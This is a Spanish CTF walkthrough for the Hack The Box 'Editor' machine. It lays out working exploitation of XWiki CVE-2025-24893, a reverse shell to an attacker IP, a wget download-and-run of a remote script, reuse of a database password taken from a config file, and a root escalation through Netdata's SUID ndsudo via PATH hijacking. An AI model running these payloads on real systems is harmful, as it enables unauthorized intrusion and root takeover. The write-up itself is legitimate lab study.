Descripción
Editor es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Vulnerabilidad de ejecución remota de código en XWiki
- Pivote de usuario mediante una credencial reutilizada de una base de datos MySQL
- Escalada de privilegios a través del binario
netdatacon el bit SUID establecido y manipulación de la variable de entornoPATH
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.209.7.
$ ping -c 3 10.129.209.7
PING 10.129.209.7 (10.129.209.7) 56(84) bytes of data.
64 bytes from 10.129.209.7: icmp_seq=1 ttl=63 time=46.7 ms
64 bytes from 10.129.209.7: icmp_seq=2 ttl=63 time=46.6 ms
64 bytes from 10.129.209.7: icmp_seq=3 ttl=63 time=46.6 ms
--- 10.129.209.7 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.625/46.646/46.666/0.016 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.209.7 -sS -Pn -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.209.7
Host is up (0.052s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8080/tcp open http-proxy
Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds
Obtenemos tres puertos abiertos, 22, 80 y 8080.
Enumeración
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.209.7 -Pn -sV -sC -p22,80,8080 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.209.7
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editor.htb/
8080/tcp open http Jetty 10.0.20
| http-title: XWiki - Main - Intro
|_Requested resource was http://10.129.209.7:8080/xwiki/bin/view/Main/
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/
|_/xwiki/bin/undelete/
| http-cookie-flags:
| /:
| JSESSIONID:
|_ httponly flag not set
| http-webdav-scan:
| WebDAV type: Unknown
| Server Type: Jetty(10.0.20)
|_ Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_http-server-header: Jetty(10.0.20)
| http-methods:
|_ Potentially risky methods: PROPFIND LOCK UNLOCK
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.26 seconds
Encontramos el servicio de SSH y los dos servicios HTTP. Encontramos la subdominio editor.htb, la agregamos al archivo /etc/hosts.
echo "10.129.209.7 editor.htb" | sudo tee -a /etc/hosts
Encontramos un sitio web relacionado con un editor de código.
En la parte superior encontramos un enlace a una página de documentación, wiki.editor.htb. La agregamos al archivo /etc/hosts.
echo "10.129.209.7 wiki.editor.htb" | sudo tee -a /etc/hosts
Luego encontramos el software XWiki en su versión 15.10.8 (lo encontramos en la parte inferior de la página).

Explotación
La vulnerabilidad CVE-2025-24893 es una ejecución remota de código (RCE) crítica no autenticada en XWiki, una plataforma wiki empresarial open-source popular. La falla se encuentra en la forma en que el macro SolrSearch maneja impropermente las expresiones Groovy dentro de consultas de búsqueda. Esto permite a atacadores no autenticados ejecutar código Groovy arbitrario remotamente, sin necesidad de autenticación o acceso previo. Las versiones afectadas son todas aquellas anteriores a 15.10.11, 16.4.1 y 16.5.0RC1. Tenemos un ejemplo de prueba en el blog OffSec. Vamos a comenzar creando un archivo de script Bash con nuestra shell inversa.
$ cat script.sh
/bin/bash -i >& /dev/tcp/10.10.14.61/1234 0>&1
Luego iniciamos un servicio HTTP, por ejemplo, utilizando Python.
python -m http.server 80
Ejecutaremos las siguientes comandos en la máquina remota.
wget -O /tmp/script.sh 10.10.14.61/script.sh
bash /tmp/script.sh
Usaremos curl para desencadenar la vulnerabilidad, pero primero iniciaremos el puerto de escucha.
$ nc -nvlp 1234
En la solicitud usaremos este payload para la petición. Reemplazaremos la cadena <COMMAND_TO_RUN_URL_ENCODED>.
/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22<COMMAND_TO_RUN_URL_ENCODED>%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d
Ejecutamos las solicitudes HTTP.
$ curl 'http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22wget%20-O%20%2ftmp%2fscript.sh%2010.10.14.61%2fscript.sh%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d'
$ curl 'http://wiki.editor.htb/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22bash%20%2ftmp%2fscript.sh%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d'
Recibimos la consola reversa como el usuario xwiki, la actualizamos.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.61] from (UNKNOWN) [10.129.209.7] 51734
bash: cannot set terminal process group (1119): Inappropriate ioctl for device
bash: no job control in this shell
xwiki@editor:/usr/lib/xwiki-jetty$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
xwiki@editor:/usr/lib/xwiki-jetty$ ^Z
$ stty raw -echo; fg
$ reset xterm
xwiki@editor:/usr/lib/xwiki-jetty$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Explotación
Encontramos otra consola del usuario oliver.
xwiki@editor:/usr/lib/xwiki-jetty$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
oliver:x:1000:1000:,,,:/home/oliver:/bin/bash
Encontramos la configuración sobre la base de datos utilizada en XWiki en el archivo /etc/xwiki/hibernate.cfg.xml.
...
xwiki@editor:/usr/lib/xwiki-jetty$ cat /etc/xwiki/hibernate.cfg.xml
<property name="hibernate.connection.url">jdbc:mysql://localhost/xwiki?useSSL=false&connectionTimeZone=LOCAL&allowPublicKeyRetrieval=true</property>
<property name="hibernate.connection.username">xwiki</property>
<property name="hibernate.connection.password">theEd1t0rTeam99</property>
<property name="hibernate.connection.driver_class">com.mysql.cj.jdbc.Driver</property>
<property name="hibernate.dbcp.poolPreparedStatements">true</property>
<property name="hibernate.dbcp.maxOpenPreparedStatements">20</property>
<property name="hibernate.connection.charSet">UTF-8</property>
<property name="hibernate.connection.useUnicode">true</property>
<property name="hibernate.connection.characterEncoding">utf8</property>
...
Encontramos que la aplicación está utilizando una base de datos MySQL xwiki, con el usuario xwiki y la contraseña theEd1t0rTeam99. También encontramos que la contraseña se reutiliza para el usuario oliver y podemos acceder a ella utilizando el protocolo SSH.
$ ssh oliver@editor.htb
oliver@editor.htb's password:
...
oliver@editor:~$ id
uid=1000(oliver) gid=1000(oliver) groups=1000(oliver),999(netdata)
Encontramos que el usuario oliver es parte del grupo netdata. Netdata se encuentra en la carpeta /opt/netdata en su versión v1.45.2.
oliver@editor:~$ ls /opt/netdata/
bin etc netdata-configs netdata-dbs netdata-logs netdata-metrics netdata-plugins netdata-web-files sbin share system usr var
oliver@editor:~$ /opt/netdata/bin/netdata -v
netdata v1.45.2
La herramienta de línea de comandos ndsudo, incluida en versiones afectadas (>= v1.45.0, < v1.45.3) del agente Netdata, permite a un atacador ejecutar programas arbitrarios con permisos root, según CVE-2024-32019. La herramienta ndsudo es empaquetada como un binario propiedad del usuario root, con el bit SUID establecido. Solo ejecuta un conjunto restringido de comandos externos, pero sus rutas de búsqueda son suministradas por la variable de entorno PATH. Esto permite a un atacante controlar dónde busca ndsudo estos comandos, lo que puede ser una ruta a la que el atacante tiene acceso de escritura. Encontramos que esto es cierto y como el usuario oliver pertenece al grupo netdata, puede ejecutar el binario.
oliver@editor:~$ ls -la /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
-rwsr-x--- 1 root netdata 200576 Apr 1 2024 /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
Vamos a programar un programa en C que cree una copia del binario de Bash con el bit SUID establecido y propiedad del usuario root. Lo compilaremos con el nombre nvme.
$ cat exploit.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main() {
const char *cmd = "cp /bin/bash /tmp/suid-bash; chown root:root /tmp/suid-bash; chmod u+s /tmp/suid-bash";
execl("/bin/bash", "bash", "-p", "-c", cmd, (char *)NULL);
return 0;
}
$ gcc -o nvme exploit.c
Lo publicamos en un servidor HTTP, lo descargamos en la carpeta del usuario oliver, y le damos permisos de ejecución.
oliver@editor:~$ wget http://10.10.14.61/nvme; chmod +x nvme
Luego ejecutamos el comando ndsudo con la ruta especificada en la variable de entorno PATH.
oliver@editor:~$ PATH=$PATH:/home/oliver /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
Se crea el archivo Bash con SUID y podemos obtener una consola del usuario root.
oliver@editor:~$ /tmp/suid-bash -p
Flags
En la consola del usuario root, podemos recuperar las banderas o permisos de seguridad configuradas en la máquina.
uid-bash-5.1# cat /home/oliver/user.txt
<REDACTED>
uid-bash-5.1# cat /root/root.txt
<REDACTED>
```